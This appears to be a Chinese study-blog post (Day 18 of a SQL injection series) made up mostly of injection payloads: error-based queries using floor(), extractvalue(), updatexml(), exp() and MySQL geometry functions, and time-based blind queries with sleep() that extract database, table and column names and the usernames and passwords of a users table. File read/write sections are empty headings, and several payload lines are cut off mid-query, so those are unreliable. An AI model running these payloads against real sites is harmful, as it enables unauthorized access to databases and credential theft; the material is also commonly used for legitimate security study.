SQL注入-Day18

六、五大报错注入

利用条件 :页面回显 SQL语句执行的错误信息,例如 mysql_error()
//floor() 
id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2
//extractvalue() 
id = 1 and (extractvalue(1, concat(0x5c,(select user()))))
updatexml() 函数:
这个函数的第二个参数本应该是合法的 XPATH 路径,否则就会在引发报错的同时将传入的参数
进行输出。我们利用这个特征,当题目存在回显时,将我们想的到的信息传入这个函数的第二个
参数即可查询。
//updatexml() 
id = 1 and (updatexml(0x3a,concat(1,(select user()),1))) 

//exp() 
id =1 and EXP(~(SELECT * from(select user())a))
适用于知道列名不知道表名的情况
//六种函数 (使用方法相同) 

//GeometryCollection() 
id = 1 AND GeometryCollection((select * from (select * from(select user())a) 

//polygon() 
id =1 AND polygon((select * from(select * from(select user())a)b)) 

//multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))

//multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))

//linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

//multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))

七、文件读写

7.1 手动

7.1.1写文件

 7.1.2 有回显时读取文件

7.1.3 无回显 盲注读取文件

 7.2 脚本

八、延时注入

8.1 手动:结合 Burp Respond

当页面上无回显,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返
回页面都一样,可考虑延时注入。
?id=1' and sleep(3)--+

8.1.1 查库

?id=1' and if(length(database())=a,sleep(3),1)--+ 
//爆破数字 a 

?id=1' and if(ascii(substr(database(),a,1))=b,sleep(3),1)--+ 
//同时爆破 数字 a 和 ascii 值 b

8.1.2 查表

?id=1' and if(ascii(substr((select group_concat(table_name) from information 
//同时爆破 数字 a 和 ascii 值 b

8.1.3 查列

?id=1' and if(ascii(substr((select group_concat(column_name) from informatio 
//同时爆破 数字 a 和 ascii 值 b

8.1.4 查字段

?id=1' and if(ascii(substr((select group_concat(username) from security.user 
?id=1' and if(ascii(substr((select group_concat(password) from security.user 
//同时爆破 数字 a 和 ascii 值 b

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值